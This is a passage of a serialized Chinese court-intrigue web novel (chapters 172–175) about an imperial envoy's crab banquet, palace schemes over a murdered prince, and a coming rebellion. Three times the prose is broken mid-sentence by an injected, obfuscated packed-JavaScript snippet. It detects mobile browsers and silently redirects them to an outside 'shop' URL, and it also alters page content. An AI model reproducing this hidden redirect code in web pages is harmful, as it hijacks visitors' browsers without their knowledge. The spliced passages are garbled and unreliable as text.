汪撷姑娘来求见,钦差今日要在八方馆宴请众人,有让她和酒靡儿随行。 此前,她和酒靡儿一直被挡在外。汪撷问过大人伤情,一丝落寞在唇畔:“十多天了,终于得见大人,大人是不想留奴婢和酒靡儿了吧?” “月末。”晏霁之直截了当。 汪撷敛衽施礼:“多谢大人相告。” 八方馆前车水马龙门庭若市,晏霁之以补重阳宴的名义邀众吃螃蟹,朱芑适在宴前收到那侯大姑奶奶被晏霁之抓了的消息,知这场螃蟹宴不会出事了。 “你说他怎么防的,这都能防住?” “没放心过吧。”孟怋乂道:“把人儿子抓了,怕她乱来,派人盯着也正常。” 朱芑适笑声,也是。 萧灼灼在隐蔽处远远看八方馆前人来人往,曾经的明艳照人黯淡成灰,她二哥陪着她,萧耿裕比妹妹还有感凄凉。 兄妹俩没注意到他俩早被发现了,有人拉姚姑娘去看,姚姑娘瞧得莫名不舒服,蔡藕菩忽然懂了先前牛湃等人对萧家兄妹的羞辱。 不说这宜春县主,就说这萧爷,那么无所事事吗?何况在国将有难江南可能会起战祸的当头,谁不是在努力,可这位萧爷呢,还能闲到成天围着妹妹转。是这兄妹自己让人看轻了,牛湃等人才随意一压就欺住这萧家兄妹。 姚姑娘不再看,拉蔡姐姐回宴上,钦差还没有来,宴上也已热闹非常。堂中未置桌椅,大家可自行走动交谈。堂西摆满酒水和吃食,还是休憩之所,走累了或饿了或不想说话尽可窝在堂西侧埋头大快朵颐,姚姑娘就说:“这钦差真是挺有趣。” 蔡藕菩赞同,省得她又被打量,再老生常谈的说她,该嫁人了。 姑娘们饮点小酒优哉游哉,边从杲打击:“但人家对咱们恐怕就未必友好了。” “这是螃蟹宴,你们说为什么是螃蟹宴?”边少爷提问。 “现在就是吃螃蟹的时节。”姚姑娘道。 “螃蟹是横着走的,他把螃蟹煮了给我们摆螃蟹宴,什么意思?”边从杲被晏霁之这出整得胃口都差了,牛湃冷哼:“你咋不能往好的想,这还可以是他在示弱嘛,他接下来不会横冲直撞,我还不信了他能把这出螃蟹宴整成鸿门宴?!” “那你相信他之前在府衙遭遇的刺杀是郢国公做的吗,他一猜一个准?”蓝遂忧郁啊:“咱们还在担心他会不会怀疑我们,他三两下又把人犯抓了。” 牛湃被噎得想给他白眼,姚伉恢总结:“郗猷当时一定吃了好几罐猪油。” “十几罐。”霍雄鹰抓两个蟹汤包,他们:“……”这冷不丁的,你好歹先打声招呼。 “还可以出杀手锏嘛。”朱芑适调侃,众人瞩目,朱芑适吐字:“霍灵渠。” 看客们撤掉,霍雄鹰动动脖子,火花四溅,朱芑适没理会的走开。 钦差到来,晏霁之举杯,谢诸位赏脸。数百人的厅堂载歌载笑,众人皆回敬。 饮过第一杯酒,小厮奉来笔墨,晏霁之执笔在墙壁挥毫,滕王走去堂下,霍雄鹰问滕王他要画什么?滕王摇头,利益攸关的警惕他想唱什么戏,朱芑适淡淡看戏。 晏霁之笔势豪迈,墙壁很快显现画作雏形,好些人不禁蹙眉,朱芑适收起看戏的心情,边从杲扯陆兼没反应又扯姚伉恢,嘀咕:“他不会想对朱芑适发难吧?” 滕王都怀疑了,霍雄鹰摩拳擦掌被叔祖按住,霍绥业说:不至于。 没一刻钟,晏霁之画成,一墙壮丽山河图呼之欲出。 晏霁之再向众举杯,滕王提起心,梁巡抚都怕钦差要来个摔杯抓人,多人时刻准备着,朱芑适当仁不让要赞他画功时,晏霁之笑道:“愿,此去安西还有九千九百里。” 大家怔住。 目前,此地距离安西六千多里。 就像有一把火烧得人血热,纵使下人都感受崇高振奋。 霍绥业感笑,许多人不自觉将知晓、铭记,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459364|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一幕将凝成岁月不败的亮色。 晏霁之饮下杯中酒,请大家随意,好多人才仿佛有感知把酒喝了,陆兼倒杯酒再敬钦差,晏霁之温情脉脉:“大概是因我爱的人有很多很多爱,能看淡毁掉她一生的恨。” 朱芑适:“……” 陆兼转头走人,朱芑适心说你不炫耀难受是吧,孟怋乂忍俊不禁。 陆老爷与姚老爷碰杯,笑叹,霍家和晏家,谁与争锋?姚老爷可怜,唇亡齿寒。 但姚老爷自问,若是相看女婿,恐怕谁都愿意搏一把。 真有不少人在找钦差,找半天没找见,滕王和霍雄鹰都没见着他,人呢? 顾效猜,他应在独自相思。 翌日,霍雄鹰押解犯人回京,晏霁之参郢国公的奏本也送抵入京了。 钦差在府衙遭遇伏击,凶徒怀有郢国公府的标识! 皇帝和太上皇传召郢国公,郢国公正气凛然,这是栽赃,他与晏家、晏霁之又无冤仇,作甚要杀害钦差,再者行刺还留有标识,还能不是陷害?皇帝和太上皇大约是认可郢国公的说辞的,只派人去彻查,没有对郢国公做任何处理。 派的人是,魏王。 魏王走进关雎宫时,霍灵渠带妹妹和小祐在吃蟹酿橙,皇帝说话算话,运来十几车螃蟹又请来擅做蟹的大厨给贵妃送蟹酿橙,还给父皇和母后送大厨做蟹酿橙,霍太后赏赐后宫,皇宫里蟹香飘扬,霍灵渠便只往宫外送蟹酿橙。 “你也够明目张胆了。”魏王恭维。 霍桑柔见着主公,缩缩脖子,虽然她不大懂主公的话。 霍灵渠让桑柔带小祐去荡秋千,给魏王俩蟹酿橙。魏王问:“要不要给你带礼物?” “不用。”霍灵渠忧虑:“我感觉,让你过去,好像是为架空霁之。” “晏霁之在江南太得罪人了。”魏王莞尔:“我过去,暂接个手。” 霍灵渠盯着他,魏王淡淡:“我父皇是确定了吧,那假冒货是郢国公的女儿。” “嗯。”霍灵渠低头,魏王笑了:“怪道郢国公在太微宫圣人眼皮底下都敢想耍小动作,骨子里还真就是个狷狂自大的,侯瞻渥和那假冒货是被霍家关在地牢里吧?” “嗯,祖父想过半月再送给衙门。” 霍灵渠举目仰望,阳光微凉。 然,在昏暗的地窖里,若能有一束阳光,再微弱都好。侯瞻渥甚至记不清被关几天了,那天夜里冲出重围,大哥扔下他走了,他想不明白他怎么会杀堂哥,媳妇探出来扯他,他才有点知觉,那会儿只能想先离开,可他还没驾车,一群黑衣人冲出来把他们抓了。 他们俩被抓进这地窖,一天给一碗水两个馒头。 侯瞻渥晓得,没看见也晓得是霍家抓了他。 刚被关时他还有点生气,想冲出去,没两天,什么精气神都没了,前妻怕被抛下,一直在讨好他。对,他认了,这就是已经和离的前妻了。侯瞻渥愤懑,发泄过,过后却是更空,女人没停过献媚,侯瞻渥是什么心情都没了,他不要了,不要这个媳妇了。 他只想出去跟他爹说他错了,他知道错了,他想他们家回到原来和乐融融的模样。 可惜,哪怕侯瞻渥没有劫狱乃至在父亲要他和离时他就答应,侯家也回不去从前了。他长兄侯瞻逊在暗中收粮收盐,没在京中,怕招眼被发现,在京畿周边,可侯瞻逊也不想想,在京畿附近和在京中能有多少差别?且侯瞻逊还有在铸造假~币。 嬴忱璧看过奏报,问得此事武襄侯应该还不知情,让丞相退下吧。 皇帝的心绪还在最新的飞鸽传书上,晏霁之冒犯都略过了,只觉得心头有点热:“愿,此去安西还有九千九百里,愿此去安西还有九千九百里!” 173. 第173章 晨曦拢过窗牖,晏霁之在窗边晒太阳,没有精神抖擞反似昏沉沉。 朱芑适进屋来找见他,讥诮:“你看你像什么?” “恹,病恹恹的恹。”晏霁之睁眸。 “相思病的病吧。”朱芑适忽就被冲淡了尖锐,还调侃声。 晏霁之转向朱芑适,淡漠道:“昨夜遇袭,不该意外吧,带着盐,你走不了。” 朱芑适好整以暇:“你没想过你还有什么没顾虑到吗?” “我没有想到,自会有人想到,我一人犯不着费几十人的心思。” “把我留住不是更好?”朱芑适上前几步:“都巴望着你把我扣住呢。” “坏呀。”晏霁之怨:“一群坏人都想害我。” 朱芑适按着桌案,盯着他冷冷说:“你只会是个死人,一个被抛弃的死人。” “你帮我把我在做而没完成的事完成了,算你对得住我了,没抛弃我?”晏霁之商量,朱芑适乐了:“你以前没这么有意思呀,流光不在了对你影响就这么大?” 晏霁之未语,闭目,送客,朱芑适离开。 几重阴云缓缓徙过金芒,晌午未过,天已暗。 滕王疾步进屋,烛火晃动,照见滕王额头青筋暴起:“我算是知道什么叫恶心人了,就不能给好脸是吧?” 钦差下令丈量田亩,一连几天都推进极慢,滕王今早亲自下田去了。 霍绥业步入:“伸手不打笑脸人,人家赔着笑脸请你们吃酒吃肉,你好意思翻脸?” “我有甚不好意思,逼急了,我明天就去翻脸!”滕王抱起茶壶猛灌茶水,霍绥业打击:“你没机会了,朝廷把魏王派下来了,魏王一到,还能有你俩做主的份儿?” “魏王是来查案的。”滕王嘴硬。 “有出息,魏王来了,你跟你堂哥怼吧。”霍绥业褒奖,滕王恼道:“我就不懂了,他们不会算账吗?将来陛下开疆扩土难道不会惠及他们吗,死守这一亩三分地比被压制还强吗,难道他们还想打量着朝廷不会给他们记这笔账吗?” “谁信啊?”霍绥业拍下张公文:“谁不相信这是你俩自作主张?” “我今早也瞧见了,边从杲给我看的,跟我含沙射影好几回说陛下没工夫理会我们。”滕王想起来:“边从杲还跟我说,嬴隐鹤死了,你们得信没有,真的假的?” 晏霁之接过公文看看,应:“真的。” 滕王冒出点诡异:“不会是嬴隐峥做的吧?” 晏霁之反问:“代王妃想要爵位吗?” 滕王不假思索:“这还用说么,这不会真是嬴隐峥做的吧。” 晏霁之把公文递还给滕王,目光如炬:“他们给你看这公文,是在告诉我们,大家都清楚钦差没几个月能做主了,先前还有众多中小商户没有领略以陆家为首的大户人家的用意,这会儿都已经明白了。” 那是皇帝决心整治北境走私的公文。 滕王烦闷:“他们为什么一步都不肯退,不管陛下是要整治北境走私还是收拾昌隆侯又不耽搁陛下支持我们,他们退一步,我们把价降下来,大家都能皆大欢喜啊。” “你俩有这脸吗?”霍绥业笑话。 滕王瞪他一眼,不想说话,霍绥业给他两张请柬:“喏,给你们俩的台阶。” 滕王看过,好笑:“想把我们支去洪州,真能想?!” “人家在京里可没少费心思,这是晏副相的意思。”霍绥业告知,滕王一噎,晏霁之道:“你亲自去告诉陆兼,我们会去洪州,但府衙丈量照旧,不要做得太难看。” “行!”滕王走掉,霍绥业了然笑:“不是晏副相,是你,是你想去洪州。” “我必须去趟福州。”晏霁之默认:“在洪州暂且作别,我南下,让滕王回来。” “你相信贵妃的猜测?”霍绥业补出:“你去洪州是想把朱芑适往巢县引,不相信朱芑适会早早把粮食放掉,你打算在洪州附近阻截。朱芑适能相信吗?” “随他吧。”晏霁之倒两杯茶,霍绥业乐道:“也是,咱不缺这点粮食。” 霍绥业抿口茶,正色道:“你压根儿没想丈量田亩?” 晏霁之又拿起公文看:“您猜有多少人把府衙里这两个钦差当跳梁小丑?” “是了,这么几天,丈量什么呀,你只在唱戏给昌隆侯和陆兼等人看。”霍绥业自嘲:“前些天螃蟹宴,你主要目的不是想劝,是想看他们的嘴脸?” “一个清醒的都没有确是我始料未及。”晏霁之微微动怒,一掌拍在公文上。 “你之前的震慑显然白费了。”能把沿海盐利夺了的威压都能抛诸脑后,霍绥业感叹:“其实吧,你要不要价,他们都会想让昌隆侯死在广南。” “但不会闹得人尽皆知。”晏霁之发火道:“这戏唱得还不够足吗,陆兼他脑子生锈了,在这种节骨眼,我给他们开的价还会只是我想做出点成绩来吗?!” “醉生梦死太久了嘛,不过,真是,戏唱这么足了,昌隆侯还能看不懂这群人打什么主意?朱芑适不用幕僚提点怕都要咂摸出来了,你想救这群人哪能挡得住人家自己要找死。” 霍绥业中肯道:“依目前情形,一旦昌隆侯造反,皇帝必会第一个要他死。不知道多想想,既然只能等昌隆侯造反再让他死,反都反了,皇帝即刻让他死对皇帝有什么好处?当陛下和圣人睁眼瞎啊还能白白给他们做嫁衣。” 晏霁之递上封信:“陛下刚送来的消息,朱家在岳州和潭州埋藏了大量的火药和铜油,我来不及料理,交给您和楼冶了,您切记此事一点风声不能走漏。” “他想把岳州和潭州炸了?”霍绥业接信阅览遍保证:“行,放心吧。” “朱芑适的收获怎么样?”晏霁之捧茶盅喝口茶。 霍绥业比两根手指:“估计有二成的商户倒向他,还有十几个官员吧。” 晏霁之若有所思,未语,霍绥业告诫:“你很清楚你去福州会遭遇什么吧。” “去不去福州,昌隆侯都要跟我算笔账的。”晏霁之放下手臂,握握手腕的红手绳。 “但到了福州,你小命就真的危险了。”霍绥业神色甚至认真。 “海禁诸事,福州的部署,还有百姓们撤离,太多事了,我必须去这一趟,昌隆侯一直没出手想必也是清楚我必会去福州,就等着我吧。”晏霁之说道。 霍绥业嫌烦地跳个轻松的话题:“舒窈把丈夫派来了,这两天就会把人接走。” 晏霁之揶揄:“绑走吧?” “知道就行了。”霍绥业憋坏:“嗳,你说,这宜春县主对你有没有幻想,说她是想待得离朱家近,也可以是离你近嘛,都知道你还要下江南啊。” 晏霁之黑脸。 “真的嘛,我说人家铁定有那么点幻想,幻想你是不受世俗拘泥的大英雄能从天而降拯救她于水火。”霍绥业调侃,晏霁之赞同:“我也相信。”反惹得霍绥业打量他,晏霁之笑:“您看萧灼灼多容易被骗,那么爱做话本子里的梦,能不做点梦?” 霍绥业反而叹息:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13473275|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是啊,诛心的说,这女儿就是被她自家毁掉的。” 晏霁之猜测:“老秦王若是心软,萧灼灼应该能嫁进秦王府。” “秦王府?”霍绥业差点想闭眼睛:“你不提,我还真把秦王府给忘了,萧岘夫妻俩想把女儿往死里坑啊,选秦王府,这夫妻俩能让萧灼灼嫁庶出吗?老秦王和秦王能肯,秦王妃能肯吗,这嫡少爷能肯吗?嫁进去,宜春县主这辈子都休想生养了。” “至少能让萧灼灼嫁人嘛。”晏霁之闲聊。 “萧岐派儿子来把这几个绑走,萧岘跟这大哥的隔阂还能消得掉?”霍绥业摇头:“若再死缠秦王府,老秦王会心软,但老王爷还有几年活头?真要把亲戚做绝了。” 晏诺来送信,给霍绥业一封信,给他家世子两封信。 “啥事啊咱俩的信还能凑到一起?”霍绥业拆信看遍,看向对面的小辈,晏霁之展信,两个人把信对照遍:南海上有战船来,圣人和陛下勒令镇南侯在年底前结束与交趾的战事。 霍绥业哭笑不得:“他这手笔是不是太大了,我都想捏把汗了。 你还是别去福州了,我一个人在南方挑大梁我自己都觉得悬,虽说魏王要过来,但我不大相信魏王扛得住,还是你留下来保护我,我放心。” “您放心吧,海啸会过来保护您,引进番兵至少能让他搏一把,不然,打都不用打。”晏霁之思忖:“这些战船十月前应该会靠岸,不会超过十五万人?” 霍绥业同意:“大概就是立冬,朱家要反了。” 晏霁之抬眸看霍绥业,神情幽幽:“北海?” “现在没有,但,能没有吗,这两面包夹之势还能少得了?”霍绥业冷嗤:“这么与虎谋皮他都敢,这群蛮夷引进来,就算他胜,他不伤筋动骨他还能送得走?” “北海上若有战船,山东一定会有引路人的。”晏霁之提醒,霍绥业眼神一闪,糟心了:“这不会是萧耿烨把人绑回去都没用吧。” “不知道,不知道昌隆侯是不是要盯着萧岘,但他一定会找最容易控制的。” “恰恰萧岘一家就是。”霍绥业接话。 他俩对视一眼,晏霁之把皇帝的信给他,霍绥业奇怪:“六十,啥意思?” “陛下猜朱家会否想暗杀官员,这六十是六十匹马,陛下是派人追踪马匹,也就是朱家派出了六十名死士。”晏霁之解释道:“目标应该是南方包括您在内的十五至二十名官员,我们这就列个名单把人员确定了,我午后派人去润州调二百名士兵过来。” 霍绥业点点头,不带情绪说:“这是想一举拿下南方,进击中原。” 晏霁之附和:“凭什么便宜代王或者晋王,把他认为会挡路的官员尽数杀了,以迅雷不及掩耳之势过江,他有机会长驱直入,既有机会,怎能放过?” 堂前,聚集许久的黑云翻涌,大雨瓢泼。 未时过半,小厮禀告,酒靡儿姑娘闻钦差近来心绪不佳,想给大人弹曲解闷。 晏霁之允了,酒靡儿进屋,见过礼,接过琵琶弹奏,丫鬟退去走廊,晏霁之闭目听曲。 一曲毕,酒靡儿姑娘规劝:“奴家想大人当不是志大才疏之辈。” 晏霁之注视她,酒靡儿循循善诱:“大人想做出成绩,眼前早有上佳之选,已有传言,昌隆侯快反了,空穴来风,大人必定比旁人清楚。” “你陪过朱芑适吧?” “奴家多嘴了。”酒靡儿站起来,屈膝告辞。 狂风起,晏霁之站在窗前,看风雨交加。 174. 第174章 夜凉。 寝殿暖,灯火盏盏,缤纷熨帖。 皇帝嬴忱璧盖着条小被似在走神,小婴儿窝在爹爹身侧,霍灵渠洗漱好出来看见这幕,将小婴儿抱起来,把小婴儿的小被子拿过来,回神的嬴忱璧:“……” 他有给孩儿盖被呀,皇帝回想,他不经意扯两下就把孩儿的小被子扯过来了。 皇帝默默略过,走去贵妃身边坐。 霍灵渠提醒:“新人进宫两个多月了。” 嬴忱璧瞟向贵妃,霍灵渠木着脸:“我姑母负责提一声,我负责传个话。” “下个月立冬,贵妃再给她们赏赐吧。”皇帝道,言外之意,皇帝还没想传召新人,霍灵渠略感意外,应过后知会:“楚美人感染风寒病倒了。”虽然皇帝肯定清楚。 嬴忱璧未语,霍灵渠劝:“陛下若去探病,没准你们还能和好。” “前提呢?”嬴忱璧问,霍灵渠哑然,前提是皇帝放低姿态。 皇帝和楚美人的症结在于楚美人对皇帝的姿态放不下来了。 楚美人若要拿腔,这就是个解不开的死结。 “朕相信,楚氏眼下还真期待着朕会去看她,嘘寒问暖,纵使她给朕冷脸,也想朕拿热脸讨好,讨好到她愿意跟朕和好。”嬴忱璧冷笑讽刺:“被贬做美人了还认不清楚,想和好,嫔妃怎样邀宠她不会吗?不会,该什么都是她该受着的。” 霍灵渠低低头,擦到小婴儿肉肉的小脸,小婴儿高兴得一蹬一蹬,想撑立起来贴贴脸。 嬴忱璧看乐了,抬手摸摸孩儿的脑袋,霍灵渠看看皇帝,念:“大皇子满八岁了。” “暂且搁置吧。”皇帝笑意不减:“今年剩下这几个月,大皇子都不必去学堂了。” 霍灵渠把小婴儿给他爹,执起茶壶倒杯水喝。 嬴忱璧关注着,贵妃饮过茶水就把孩儿给贵妃,霍灵渠瞪他,皇帝转过脸,也喝杯茶,若无其事道:“代王府给嬴隐鹤停灵第七天了。” “代王今早放过话了,不找到凶徒不下葬。”霍灵渠恍然,皇帝今夜是一直在想此事:“陛下怀疑代王想拿嬴隐鹤的死做文章,代王猜得出是谁杀了嬴隐鹤?” 嬴忱璧点头。 “但代王会隐去嬴隐鹤乃咎由自取而只把矛头对准你?”霍灵渠再问,嬴忱璧再点头,霍灵渠不解:“陛下是否还另有忧心?嬴隐鹤想弑君,事情是做了的,这也不是代王想隐瞒就抹得掉的呀,代王若是揪着嬴隐鹤的死不放只会延祸自身。” “是吧。”嬴忱璧模棱两可:“是朕杞人忧天了。” 霍灵渠面有探究,嬴忱璧失笑:“朕没事,贵妃多虑了,莫瞎想。” “还有太上皇和芮尚书。”霍灵渠言必有中:“你有把握代王会想做什么,联合芮尚书,请太上皇废掉你另立新君或者重登大宝,你怕太上皇会心动。太上皇当然知悉代王的意图,但若太上皇不在意,觉得可以掌控住,太上皇真有可能会想废掉你。” 嬴忱璧自嘲一笑,坦白道:“朕是有过一刹的念头,是朕杞人忧天,代王做梦做多了,圣人岂会像代王那般幼稚,内忧外患,朕和太上皇当然一条心。” “陛下没想过先发制人吗?”霍灵渠献计道:“代王想找出杀害嬴隐鹤的人,代王又暗杀过霁之,这笔账还没揪出来呢,我看你和英王还有霁之自己都打算不了了之,还有郢国公府也派杀手了,撇得多干净,为什么不把他们一锅炖了?” 嬴忱璧问:“怎么个一锅炖了?” 霍灵渠运筹帷幄:“让代王妃来告御状,状告英王,说是晏家害得嬴隐鹤,抽丝破茧,把嬴隐鹤的死栽给郢国公府鞠家,郢国公想把水搅浑嘛,做这事来陷害晏家不意外啊,再把代王世子秘密去盱眙想杀害钦差的事都扒出来。” 嬴忱璧乐了,心底的阴霾一扫而空:“可我们能让代王妃来告御状吗?” “这就是你的事了,你做皇帝总不可能这点本事没有吧。”霍灵渠推卸道:“不曾传出代王妃多精明呀,代王妃不可能对嬴隐峥没有怀疑吧,明显被代王压着呢。待状纸递上来了,你若是还把控不住,坐不稳江山,被你爹废掉也没什么好怨的。” 嬴忱璧哈哈大笑,皇帝听得确实高兴。 夜沉醉。 第二天的拂晓是代王妃叫破的,曙光未出,代王妃状告英王杀害她儿嬴隐鹤。 “我鹤儿从不与人结怨,谁会害他?英王世子在江南遇险,英王积着怒,晏家与代王府又素有旧怨,若非英王趁机发作,还能有谁?”代王妃跪着抹泪,椎心泣血。 “荒唐?!”代王怒得险些坐不住:“岂有此理,岂能这般污蔑人?” 是的,代王,晏墉还平静着呢,代王反倒像他被泼脏水蒙受不白之冤。他们在长春宫,选在长春宫让他们对峙就是不想把事闹大了,太上皇同在,嬴隐鹤入殓,太上皇还去代王府安慰过堂弟,代王妃告御状,太上皇便也过来了。 代王就比英王晏墉早到一步,事前不知,连这继室何时出府的都没察觉。 “王爷又不知凶徒乃何人,岂言我就是荒唐污蔑?”代王妃毫不示弱。 “证据呢?”代王训斥:“没有证据胡乱攀咬,还不是污蔑?” 代王妃咬定:“不是英王还能有谁?” “不可理喻!”代王指着继室骂:“你失心疯了是吧?” “我儿平白没了,我怎能不疯?妾身是没有王爷的本事还能这样镇定!”代王妃回呛,吵起来,都没英王什么事,人家夫妻俩就先闹掰了,代王被气个倒仰,拐弯抹角含沙射影,谁还看不懂这是在暗指他包庇,这继室根本是冲着他的长子! 代王妃告御状后,霍灵渠来长春宫陪姑母,不想再看,静悄悄退去殿外。 在宫墙间,霍灵渠遥看天际,只觉得早晨的太阳光都没有朝气。 霍海啸走来,霍灵渠告诉大哥:“代王夫妇在吵架。” “大哥是来找灵儿。”海啸顿下说:“晏霁之会去福州。” 霍灵渠微愣。 沉默片刻,霍灵渠张张唇,最终只言:“大哥你让他给我带包茉莉花茶回来吧。” “好。”霍海啸沉声应。 殿内,代王和代王妃的争执被劝住,代王妃暂留宫中,陪皇太后住几天。 代王陪着去偏殿,关了门,一巴掌扇向继室,代王高大,这巴掌扇得代王妃嘴角出血。 代王妃狠狠冷笑:“反正御状我告下来了,我儿子不明不白的没了,你还想袒护那小犊子,你妄想?!我查不出来,我让朝廷来给我查,我让他血债血偿!” “不是峥儿,是皇帝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13483966|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !”代王咬牙切齿。 “你当然这么说,这么好的机会,他把我儿子害死了嫁祸给英王或者皇帝不是正好。”代王妃讥诮:“你今天打死我,你也休想保得住他。” 代王攥紧拳头死死忍住了才摔门离开。 独在屋中的代王妃恍惚,而且陌生,还古怪,她怎么了,她今早做什么了?冷香飘来,她又好像被摄魂,耳畔有个魔怔的声音在响:嬴隐峥害死嬴隐鹤,告御状…… 乐邑看代王府的热闹深有感触,进宫来和贵妃谈天:“出大事前是不是都会有预兆,要出乱象呀?我婆婆最近连着去庙里拜过两回菩萨了,今早又去烧香了。” “平原大长公主也难吧。”霍灵渠抱着小婴儿晒太阳,乐邑笑道:“看四皇子跟你亲的,没少抱他吧,五个月大的婴儿很有些重了,你还经常抱着。” “毕竟养在我膝下。”霍灵渠美目柔婉可亲:“纤若你呢,你有几个孩儿?” “哎,两个小子,都是正顽皮的年纪,皮得我都脑仁疼。”乐邑笑。 霍灵渠迎着笑向阳,想福州的十月都是晴天。 皇帝嬴忱璧送过太上皇起驾回太微宫,交代好英王,传来显国公。 显国公禀过晋王的近况和虢王的潜逃计划,嬴忱璧写张字条,显国公拿起看,僵住了,纸条上书:庄太妃之幼女乃她与郢国公所生。 显国公如若遭遇五雷轰顶,嬴忱璧取回字条,点燃,放香炉里烧成灰烬。 “陛下?”显国公惊魂,背脊发凉。 “你什么都没看过,没事了,显国公就退下吧。” “是,老臣告退。” 显国公直走出宣政殿老远,人才爆发出暴怒,眼睛充血,恨不得把庄氏母子碎尸万段,抬手抹去额头的汗,在太阳底下暖和会儿,装作平静的样回衙门去。 傍晚回家,显国公独自在书房里冰火两重天许久,豆大的汗顺着脸颊淌下,一滴一滴,他若无所觉,待感知到冰冷,抬手一抹,原来发根都湿透了。 薛侍郎和薛述聪半夜被叫来,见到显国公的模样惊了惊:“大哥,出什么事了?” “坐。”显国公决定:“这两天让老太太病逝,我们回老家守孝。” 薛侍郎&薛述聪:“……” “不至于吧,爹,至于要让祖母假死吗?”肯定是假死,估计他祖母也死活不愿意的,薛述聪不解:“咱们又不跟晋王掺和,圣人和陛下没想让晋王的事牵涉薛家。” 显国公道出原委,薛述聪惊愕得差点失语,薛侍郎几乎想站起来摇摇兄长让大哥清醒:“不可能吧,大哥,庄太妃能有那么大胆子?郢国公——” “真的。”显国公轻轻的两字,语气很淡,薛侍郎也唰得下心凉了,显国公聚起精神:“必须得走,不在圣人眼皮底下还能避过去,若不然,圣人要杀无赦了就是死路一条,哪怕在圣人有生之年都不能回京也必须得走,否则薛家今年就得死绝。” 薛述聪跌靠在椅背,失魂落魄:“庄太妃是因此才想让她的幼女假死,假冒霍桑柔,才会是鞠家帮庄太妃在霍家做下那桩案子,根本是一伙的。” 显国公闭上眼睛。 薛侍郎眼珠瞪得像铜铃,额角、手背青筋暴起,想把那些人剁了! 两天后,薛太夫人急病病殁。 175. 第175章 出游是能放松的事儿。 滕王原还愤懑,沿途赏过风景,心情渐舒,来洪州看过两处热闹,兴致起来了,不必谁再捧着,他自己就蹿出去了。 走过个题诗卖画的小摊,汪撷姑娘想给她的秋扇添两笔色彩,晏霁之让两位姑娘自便,酒靡儿和汪撷谢过,带丫鬟退去路旁。 是府尹邀请钦差,洪州有一名胜,年前塌毁,上月重修竣工,府尹特办酒宴与众畅饮。这会儿是青山县县令陪着钦差在城中小逛。酒靡儿和汪撷目送钦差走远,去诗画摊前,反而是酒靡儿选柄秋扇,汪撷姑娘让摊主给她糊几个漂亮的纸鸢。 行至石桥,晏霁之让大家各自赏玩去吧,不必拘着。 滕王利落的去找小吃摊,县令没走,好奇问:“大人为何要来洪州,这样轻易妥协?”青山县令也是二十多岁,府尹觉得年纪相仿容易聊得来,故而是让他陪着。 晏霁之未语。 青山县令沉默下,拿出红布包裹的古玉呈给钦差,晏霁之看向他。 “卑职辖下有两家人打官司,两家素有纠葛,前些天一家将另一家的儿郎给打了,被打那家宣称他家少爷伤重唯恐不能再下榻,他家不依不饶又和城中大户有些亲戚,下官无能,这是苦主的家传古玉,送去当铺压价太狠了,苦主想求钦差能否一千两买下?” 晏霁之道:“你给的建议?” 县令大方承认:“是。” 晏霁之注目他,县令折来根枝条,拿枝条在青石板写下一个字:地。 “你请人去做个和事佬吧。”晏霁之做主道,县令俯身作揖,谢过钦差后告退,晏霁之站在石桥凝望,天空飘来鲜艳夺目的纸鸢,滕王捧着两袋炙羊肉走近,给他一袋。 晏霁之推开滕王的手臂,滕王数落:“瞎扫兴。” 看过几处景致,他们去赴酒宴,观宇楼前甚是热闹,钦差到来,都聚在观宇楼前相迎,有人提议请钦差给这重修的观宇楼重新题名,大家纷纷响应,晏霁之却之不恭了。 晏霁之略沉吟,莞尔道:“滕王阁,如何?” 滕王:“……” 大家大乐,赞美和鼓掌热烈响来,女眷们亦忍俊不禁,滕王害羞了,指责他:“你你你,你想耍风流调戏姑娘去啊,还揪着我来寻开心,太不道德了你。” 众人又一阵大笑。 晏霁之提笔落字,写罢,两个小厮轻抬横幅退下,与宴众人往阁楼走,晏霁之避过热闹去到高处眺望,滕王转过圈还是跑来找他,看着眼前开阔的水面,好像波涛在他心里澎湃,忽有声音传来:“大人为何要来洪州?” 两个钦差看过去,是城中大户葛老爷。葛老爷走近,微笑道:“大人看,您带的这两个姑娘?跟在您身边沾着您的光,大家都会捧着,可她们又是怎样想钦差你?” 没有回应,葛老爷自问自答仍有其乐:“志大才疏,扬州,坊间私下都传遍了,连青楼老鸨都敢妄加嘲弄,大人这一退让,将来怕谁都要敢在您面前指三道四了。” “多谢告知。”晏霁之逐客。 葛老爷拱手告辞。消失在他们视野了,滕王不悦呱噪:“一群坏人。” 晏霁之失笑,晏诺禀告,纪荷净找,晏霁之点头,晏诺去请,滕王怪异,他怎么会来?纪老头送伞,不远千里从扬州追来:“拿着吧,我从不欠账。” 